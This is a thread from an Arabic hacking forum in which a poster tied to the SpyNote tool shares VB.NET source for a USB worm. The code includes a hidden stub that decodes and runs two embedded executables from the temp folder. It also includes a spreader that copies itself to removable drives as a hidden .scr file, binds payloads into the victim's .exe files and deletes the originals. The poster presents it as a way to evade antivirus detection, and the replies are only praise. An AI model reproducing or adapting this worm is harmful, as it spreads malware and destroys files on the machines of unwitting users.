1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
  2. الملاحظات
    عزيزي زائر تم اطلاق الموقع الرسمي لبرنامج الاختراق Spy-Note
    إستبعاد الملاحظة
حالة الموضوع:
مغلق
  1. ✶ s c я є α м Developer SpyNote

    عضو منذ:
    ‏23 ديسمبر 2014
    عدد المشاركات:
    681
    الإعجابات المتلقاة:
    725
    نقاط الجائزة:
    515
    الإقامة:
    sa
    نظام التشغيل:
    windows xp
    اللغة البرمجية:
    Java
    عزيزي الزائر يتوجب عليك التسجيل لمشاهدة الروابط [ تسجيل الدخول ]




    ---------------------------------------------


    السلام عليكم ورحمة الله وبركاته {1!$1}


    أقدم لكم طريقة في أنتشار اليو أس بي


    نعرف ان الحمايات عملت مضاد لـ الانتشارات التي تحمل ملفات link في الفلاشه


    يعني حتى لو اللنك نضيف الحمايه تعتبرو فيروس !! ومن سلبيات اختصارات اللنك في الفلاشه ان المستخدم لو نقل ملف مصاب من الفلاشه وارسله لصاحبه في السكاي بي مثلا راح يوصله اختصار بدون سيرفر يعني هنا يوقف الانتشار !!


    :lolًٌُ:ٌ


    عزيزي الزائر يتوجب عليك التسجيل لمشاهدة الروابط [ تسجيل الدخول ]







    St
    [C#]Public Class Form1
    Dim x, xx, xxx As String
    Dim CQ() As String
    Public Function GetRandom(ByVal Min As Integer, ByVal Max As Integer) As Integer
    Static Generator As System.Random = New System.Random()
    Return Generator.Next(Min, Max)
    End Function
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    Me.TransparencyKey = BackColor
    Me.Hide()
    Me.ShowInTaskbar = False
    FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
    x = Space(LOF(1))
    xx = Space(LOF(1))
    xxx = Space(LOF(1))
    FileGet(1, x)
    FileGet(1, xx)
    FileGet(1, xxx)
    CQ = Split(x, "qwert")
    Dim severname As String = GetRandom(0, 99999999)
    Dim progrname As String = GetRandom(0, 99999999)
    IO.File.WriteAllBytes(IO.Path.GetTempPath & "\" & severname & ".exe", Convert.FromBase64String(CQ(1)))
    IO.File.WriteAllBytes(IO.Path.GetTempPath & "\" & progrname & ".exe", Convert.FromBase64String(CQ(2)))
    Process.Start(IO.Path.GetTempPath & "\" & severname & ".exe")
    Process.Start(IO.Path.GetTempPath & "\" & progrname & ".exe")
    End
    End Sub
    Private Sub Form1_Activated(sender As Object, e As EventArgs) Handles MyBase.Activated
    Me.Visible = False
    Me.Hide()
    End Sub
    End Class
    [/C#]








    ---------------------------------------------






    S C


    [C#]Imports System.IO
    Public Class Form1
    Dim y As String = "qwert"
    Public STUB As String
    Dim O1, O2 As New OpenFileDialog
    Dim text1 As String
    Dim text2 As String
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    On Error Resume Next
    Timer1.Enabled = True
    '###############################################
    Timer2.Enabled = True
    End Sub
    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
    On Error Resume Next
    Dim str As String
    For Each str In Directory.GetFiles((Application.StartupPath & ""), "*.exe")
    text1 = str
    text2 = Text + "Virose111111.scr" '
    Next
    '###############################################
    Dim AA As String = "C:\Worme\d.S C R E A M"
    O1.FileName = text1
    O2.FileName = text2
    If O1.FileName.Length > 0 And O2.FileName.Length > 0 Then
    Dim server, program As String
    server = Convert.ToBase64String(IO.File.ReadAllBytes(O1.FileName))
    program = Convert.ToBase64String(IO.File.ReadAllBytes(O2.FileName))
    FileOpen(1, AA, OpenMode.Binary)
    FilePut(1, My.Resources.Worms_Stub)
    FilePut(1, y & server) ' 1
    FilePut(1, y & program)
    FileClose(1)
    IO.File.Delete(text1)
    text1 = text1.Replace(Text, " ").Trim()
    File.Move("C:\Worme\d.S C R E A M", Text + text1 + ".scr")
    End If
    End Sub


    Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
    '###############################################
    On Error Resume Next
    System.IO.Directory.CreateDirectory("C:\Worme")
    For Each xz In IO.DriveInfo.GetDrives
    If xz.DriveType = IO.DriveType.Removable Then
    Text = xz.Name


    '###############################################
    For Each Section7 In IO.DriveInfo.GetDrives
    Dim Section6 As String = Section7.ToString & ",", Section5 As String() = Split(Section6, ",")
    Dim exe0 As String = ("Virose111111.scr")
    For Section4 = 0 To Section5.Rank - 1
    IO.File.Copy(Application.ExecutablePath, Section5(Section4) & exe0, True)
    Next
    Next
    '###############################################
    Dim T As Boolean
    T = False
    Dim RegX As Microsoft.Win32.RegistryKey
    RegX = Microsoft.Win32.Registry.CurrentUser
    Dim S As String() = RegX.GetSubKeyNames
    For Each A As String In S
    If A = "scream" Then
    T = True
    End If
    Next
    If T = True Then
    RegX = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("scream", True)
    Dim x As Integer = RegX.GetValue("val")
    x = x + 1 '+
    RegX.SetValue("val", x)
    If x = 2 Or x > 2 Then
    Timer2.Enabled = False
    Process.Start(Text + "Virose111111.scr")
    System.IO.File.SetAttributes(Text + "Virose111111.scr", IO.FileAttributes.Hidden)
    If x = 2 Or x > 2 Then Microsoft.Win32.Registry.CurrentUser.DeleteSubKey("scream")
    If x = 1 Or x > 1 Then End
    End If
    Else
    RegX = Microsoft.Win32.Registry.CurrentUser.CreateSubKey("scream")
    RegX.SetValue("val", 1)
    End If
    '###############################################
    Timer2.Enabled = False
    Else
    Timer2.Enabled = True
    End If


    Next
    End Sub
    End Class
    [/C#]



    =============================

    الكود يستهدف الملفات exe التنفيذيه فقط
    الانتشار راح يكون بصيغة Scr
     
    1 person likes this.
    جاري تحميل الصفحة...
  2. Mohmaed اداري شؤون الاعضاء
    طاقم الإدارة

    عضو منذ:
    ‏12 ابريل 2015
    عدد المشاركات:
    821
    الإعجابات المتلقاة:
    708
    نقاط الجائزة:
    515
    الإقامة:
    IRAQ
    نظام التشغيل:
    wifite
    اللغة البرمجية:
    Visual Basic
    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    عاشت ايدك حبيبي
     
  3. Reco_X
    rank
    Developer

    عضو منذ:
    ‏16 مايو 2015
    عدد المشاركات:
    4
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    5
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Perl
    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    يعطيك العافية يا غالى
     
  4. أبو ريتاج
    rank
    Developer

    عضو منذ:
    ‏8 ابريل 2012
    عدد المشاركات:
    12
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    5
    الوظيفة:
    مبرمج تطبيقات ويندوز بالغة السي شارب ومطور ومبرمج
    الإقامة:
    عدن ثغر اليمن الباسم
    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    شكرا اخي الكريم
    بارك الله فيك
     
  5. OsAmA-DZ
    rank
    Developer

    عضو منذ:
    ‏6 ديسمبر 2012
    عدد المشاركات:
    10
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    5
    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    بآرك آلله فيــك ، آبدعـت آخي آلكريمَ ..
     
  6. جوني العراقي
    V • I • P

    عضو منذ:
    ‏10 يناير 2014
    عدد المشاركات:
    271
    الإعجابات المتلقاة:
    47
    نقاط الجائزة:
    75
    الوظيفة:
    حلاق
    الإقامة:
    NEDRLALND
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    وعليكم سلام ورحمة الله وبركاتة
    بارك الله بيك صديقي مواضيعك كله ذهبية
     
  7. ✶ s c я є α м Developer SpyNote

    عضو منذ:
    ‏23 ديسمبر 2014
    عدد المشاركات:
    681
    الإعجابات المتلقاة:
    725
    نقاط الجائزة:
    515
    الإقامة:
    sa
    نظام التشغيل:
    windows xp
    اللغة البرمجية:
    Java
    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    اهلا وسهلا فيكم منورين الموضوع جميــعا حبايب قلبي ^_^
     
  8. سكيورتي ارهابي
    ExpErt DeveloPer

    عضو منذ:
    ‏1 سبتمبر 2014
    عدد المشاركات:
    681
    الإعجابات المتلقاة:
    53
    نقاط الجائزة:
    435
    الوظيفة:
    ماكسي مول
    الإقامة:
    دوله العراق العظيم
    نظام التشغيل:
    Linux
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    بآرك آلله فيــك ، آبدعـت آخي آلكريمَ ..


    :{17}:
     
  9. حازم مشكله
    V • I • P

    عضو منذ:
    ‏26 مارس 2015
    عدد المشاركات:
    392
    الإعجابات المتلقاة:
    28
    نقاط الجائزة:
    50
    الجنس:
    ذكر
    نظام التشغيل:
    windows 7
    حسابي في الزون اتش Zone-H:
    اللغة البرمجية:
    Perl
    Facebook:
    YouTube:
    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    عاشت ايدك يا بطل استمر
     
  10. |||ZA!KI|||
    rank
    موقوف لمخالفة الشروط

    عضو منذ:
    ‏19 مايو 2015
    عدد المشاركات:
    18
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    15
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    ابداع فابداع سلمت ايديك :{14}:
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة

جاري تحميل الصفحة...